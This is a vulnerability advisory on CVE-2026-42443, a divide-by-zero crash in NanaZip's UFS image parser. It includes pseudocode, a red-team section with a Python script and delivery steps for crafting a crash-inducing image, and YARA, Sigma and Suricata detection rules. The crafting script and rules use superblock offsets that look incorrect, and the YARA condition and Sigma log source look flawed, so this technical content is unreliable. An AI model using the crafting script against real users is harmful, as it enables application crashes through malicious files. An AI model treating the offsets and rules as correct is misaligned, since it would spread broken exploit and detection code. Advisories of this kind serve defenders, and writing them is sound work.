CVE-2026-42443

Executive Summary

CVE-2026-42443 is a denial-of-service (DoS) vulnerability in NanaZip, an open-source file archiver. The flaw resides in the UFS/UFS2 filesystem image parser. An attacker can craft a malicious UFS image where the superblock field fs_ipg (inodes per cylinder group) is set to zero. When NanaZip attempts to parse this image, the parser uses this attacker-controlled value as a divisor without validation, causing an integer divide-by-zero error. This results in an immediate hardware trap and process crash, leading to a denial of service.

The vulnerability affects NanaZip versions from 5.0.1252.0 up to (but not including) 6.0.1698.0. The fix is available in version 6.0.1698.0, which adds a validation check for the fs_ipg field. The CVSS score is 3.3 (Low), and the EPSS probability is 0.0%, indicating a very low likelihood of exploitation in the wild. No public proof-of-concept (PoC) code or exploit is currently available.

Supply Chain & Package Security

NanaZip is distributed as a standalone application, not as a package in NPM, PyPI, Go, or Ruby registries. Therefore, supply chain risks are limited to the distribution channels (e.g., GitHub releases, Microsoft Store). Users should ensure they download the patched version from official sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
• Base Score: 3.3 (Low)
• Attack Vector (AV): Local (L) – The attacker must provide a malicious file to the victim.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the malicious file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – The application crashes, causing a denial of service.

Threat Level: Low. The vulnerability requires user interaction and only results in a crash. No remote code execution or data theft is possible.

Deep Dive & Mechanics

The vulnerability is an integer divide-by-zero in the UFS/UFS2 filesystem image parser. The UFS superblock contains a field fs_ipg that specifies the number of inodes per cylinder group. When NanaZip parses a UFS image, it uses this value as a divisor in a calculation (likely to compute offsets or sizes). If an attacker sets fs_ipg to zero, the division operation triggers a hardware exception (SIGFPE on Unix, integer division by zero on Windows), causing the process to crash.

The vulnerable code path is in the UFS parser module. The parser reads the superblock without validating that fs_ipg is non-zero. The fix in version 6.0.1698.0 adds a check to ensure fs_ipg is greater than zero before performing the division.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In UFS parser
uint32_t inodes_per_group = superblock.fs_ipg;
// No validation
uint32_t offset = some_value / inodes_per_group; // Divide by zero if fs_ipg == 0

Patched Code (Conceptual):

// In UFS parser
uint32_t inodes_per_group = superblock.fs_ipg;
if (inodes_per_group == 0) {
    // Handle error: invalid superblock
    return ERROR_INVALID_DATA;
}
uint32_t offset = some_value / inodes_per_group; // Safe

The patch ensures that the divisor is non-zero before the division operation, preventing the crash.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service by crashing NanaZip when the victim opens a malicious UFS image.

Steps:

1. Create a valid UFS image (e.g., using mkfs.ufs on Linux).
2. Modify the superblock to set fs_ipg to zero. This can be done with a hex editor.
3. Deliver the crafted image to the victim (e.g., via email, download link).
4. When the victim opens the image with NanaZip, the application crashes.

Example (using Python to craft the image):

import struct

# Create a minimal UFS superblock (simplified)
# UFS superblock starts at offset 0
# fs_ipg is at offset 0x0C (12 bytes) for UFS1, 0x10 (16 bytes) for UFS2
# For demonstration, we set fs_ipg to 0

superblock = bytearray(512)
# Set magic number (UFS1: 0x19540119, UFS2: 0x19540119)
struct.pack_into('<I', superblock, 0, 0x19540119)
# Set fs_ipg to 0 (offset 12 for UFS1)
struct.pack_into('<I', superblock, 12, 0)

with open('malicious.ufs', 'wb') as f:
    f.write(superblock)

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection:

• Monitor for crashes of NanaZip (Event ID 1000 on Windows, core dumps on Linux).
• Use file integrity monitoring to detect the presence of crafted UFS images.
• Implement application whitelisting to prevent untrusted UFS files from being opened.

Prevention:

• Update NanaZip to version 6.0.1698.0 or later.
• Use endpoint protection that can detect and block malicious files.
• Educate users not to open UFS files from untrusted sources.

Indicators of Compromise (IOCs)

• File Hashes: No specific hashes available as no public PoC exists.
• File Patterns: UFS images with fs_ipg set to zero.
• Behavior: NanaZip process crash when opening a UFS file.
• Network: No network indicators (local vulnerability).

Detection Engineering

YARA Rule

rule CVE_2026_42443_UFS_Divide_By_Zero {
    meta:
        description = "Detects UFS images with fs_ipg set to zero (CVE-2026-42443)"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-42443"
    strings:
        $ufs_magic = { 19 01 54 19 } // UFS1/UFS2 magic number
        $fs_ipg_zero = { 00 00 00 00 } // fs_ipg at offset 12 (UFS1) or 16 (UFS2)
    condition:
        $ufs_magic at 0 and $fs_ipg_zero at 12 or $fs_ipg_zero at 16
}

Sigma Rule

title: NanaZip Crash Due to Malicious UFS Image
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects NanaZip process crashes caused by a divide-by-zero in UFS parser (CVE-2026-42443)
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42443
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\NanaZip.exe'
        ExitCode: -1073741676  # 0xC0000094 (STATUS_INTEGER_DIVIDE_BY_ZERO)
    condition: selection
falsepositives:
    - Unknown
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-42443 - Malicious UFS Image Download"; flow:to_client; file_store; file.magic:"UFS"; content:"|19 01 54 19|"; offset:0; depth:4; content:"|00 00 00 00|"; offset:12; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Update NanaZip to version 6.0.1698.0 or later.
• If update is not possible, avoid opening UFS files from untrusted sources.

Long-term:

• Implement input validation for all filesystem image parsers.
• Use safe division operations (e.g., check divisor before division).
• Conduct regular security audits of third-party libraries.

Workarounds:

• Use an alternative file archiver that does not support UFS or has patched the vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence